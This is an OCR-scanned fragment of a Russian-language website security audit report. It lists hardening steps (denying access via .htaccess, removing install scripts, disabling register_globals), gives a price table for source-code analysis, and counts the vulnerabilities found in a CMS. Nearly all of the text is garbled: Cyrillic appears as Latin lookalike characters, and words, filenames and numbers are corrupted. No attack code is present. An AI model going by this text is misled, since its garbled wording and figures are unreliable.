.htaccess c comepxauueM: deny from All

YnanuTe ycTaHoBounble oarniu /webmaster/install.php,
/webmaster/Install.nhtml

Yomanurte nyonupyommii dari /webmaster/Oprocess.php
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1. 3 UToroBasi CTOMMOCTE aHaImMs3a NCXOOHOTI'O

KoIoa
CroummMoCTE
Ne Tun ysisBMMOCTU KosddnumenT
v be (= pys)

1 | ABauc - -10000
2 | AHa;IM3 MCXOOHOTO KozIa 1 M6 20000
3 UcnpaeieHue ysaseumoctTel ( ¢ - 20000

YUETOM CKUIKM)
4 [leperon Ha - 5000

register_globals=0Off

UTOT'O K OILJIATE: 35000

1.4 BmiBOAE M peKOMeHIaLMM

B pesylnbpTaTe NPOBENEeHUST ayauTa 6e30MnacHOCTH

CM5S (pasmep. 1 M6) 6muio oBHapPyXeHO:
32 yA3BMMOCTM BEICOKOM ONAaCHOCTMU

32 yaA3BMMOCTBL CpeIHEelM ONaCHOCTU

5 ya3BMMOCTU HMS3KOM ONACHOCTU

Hauryt xoopOyHaTEL.

Site: http://rebz. net
E-Mai | : support @ebz. net
Rebz: https://forum antichat.ru/ nenber. php?u=2466
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